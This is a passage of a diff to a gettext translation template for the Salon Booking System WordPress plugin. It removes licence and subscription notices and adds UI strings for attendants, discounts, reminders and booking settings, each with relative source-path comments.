..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:169\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_booking_services.php:338\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:300\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:30\n+msgid \"Attendant\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:201, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:201, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:201\n-msgid \"Add book\"\n+#. s%1$ will be replaced by attendant name, %2$s will be replaced by service name\n+#. %1$s will be replaced by the attendant name, %2$s will be replaced by the service name\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1016\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1016\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantAltStep.php:46\n+#, php-format\n+msgid \"Attendant %1$s isn't available for %2$s service\"\n msgstr \"\"\n \n-#. translators: %s the name of the expire days\n-#: views\u002Fadmin\u002Fcalendar.php:250, views\u002Fadmin\u002Fcalendar.php:314, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:250, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:314, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:250, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:314, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:250, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:314, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:250, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:314, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:250, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:314\n-msgid \"%s day\"\n-msgid_plural \"%s days\"\n-msgstr[0] \"\"\n-msgstr[1] \"\"\n+#. %1$s will be replaced by the attendant name, %2$s will be replaced by the service name, %3$s will be replaced by the bookings day\n+#. s%1$ will be replaced by attendant name, s%2$ will be replaced by service name, s%3$ will be replaced by booking time\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:89\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:149\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FAttendantStep.php:89\n+#, php-format\n+msgid \"Attendant %1$s isn't available for %2$s service at %3$s\"\n+msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:263, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:263, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:263\n-msgid \"\u003Cstrong>Attention:\u003C\u002Fstrong> Please activate your license first\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:70\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:70\n+msgid \"Attendant holiday\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:265, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:265, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:265, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:265\n-msgid \"Activate your license\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:133\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:133\n+msgid \"Attendant ID\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:322, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:322, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:322, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:322, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:322, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:322\n-msgid \"\u003Cstrong>Your subscription is expired!\u003C\u002Fstrong>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:128\n+msgid \"Attendant required\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the license expiration time\n-#: views\u002Fadmin\u002Fcalendar.php:325, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:325, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:325\n-msgid \"\u003Cstrong>Attention:\u003C\u002Fstrong> your subscription to \u003Cstrong>Salon Booking System “Business Plan”\u003C\u002Fstrong> is expired but your license is still active and \u003Cstrong>it will expire in %s\u003C\u002Fstrong>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:432\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:432\n+msgid \"Attendants\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:328, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:328, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:328, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:328, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:328, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:328\n-msgid \"\u003Cstrong>Renew it now and get a discounted price.\u003C\u002Fstrong>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsalon.php:152\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsalon.php:152\n+msgid \"\"\n+\"Attention: this is a major release, please make sure to clear your browser \"\n+\"cache after the plugin update.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:330, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:330, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:330, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:330, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:330, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:330\n-msgid \"Renew for 30% off\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:52\n+msgid \"Auth Token\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:294, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:294, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:294, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:294, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:294, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:294\n-msgid \"\u003Cstrong>Your subscription is active\u003C\u002Fstrong>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:12\n+msgid \"Auto-align time slots\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:297, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:297, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:297, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:297, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:297, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:297\n-msgid \"Your license will expire in %s, then will be automatically renewed.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:23\n+msgid \"Auto-trash cancelled bookings\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:300, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:300, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:300, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:300, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:300, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:300\n-msgid \"\u003Cstrong>If you are happy with us, please submit a positive review.\u003C\u002Fstrong>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_mail_special_offer.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:29\n+msgid \"Automatic discount\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:302, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:302, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:302, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:302, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:302, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:302\n-msgid \"Leave a review\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:57\n+msgid \"Automatic discount settings\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:276, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:276, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:276, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:276, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:276, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:276\n-msgid \"\u003Cstrong>Your subscription has been cancelled!\u003C\u002Fstrong>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:433\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:433\n+msgid \"Automatic feedback reminder\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:279, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:279, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:279, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:279, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:279, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:279\n-msgid \"Your license will expire in %s, then you need to purchase a new one at its full price to continue using our services.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:356\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:356\n+msgid \"Automatic follow-up\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:282, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:282, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:282, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:282, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:282, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:282\n-msgid \"\u003Cstrong>Renew it before the expiration and get a discounted price.\u003C\u002Fstrong>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:220\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:220\n+msgid \"Automatic payment reminders\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:284, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:284, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:284, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:284, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:284, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:284\n-msgid \"Renew for 15% off\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:58\n+msgid \"Automatically apply when the rules are met\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:232, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:232, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:232, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:232, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:232, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:232\n-msgid \"\u003Cstrong>You are missing 40+ features to growth your Salon\u003C\u002Fstrong>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:24\n+msgid \"\"\n+\"Automatically move cancelled bookings to trash. They will no longer appear \"\n+\"in the calendar but can still be restored from the trash.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:233, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:233, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:233, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:233, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:233, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:233\n-msgid \"Join over 2.000 satisfied professionals worldwide that are using our tools to unlock their business potential.\"\n+#: 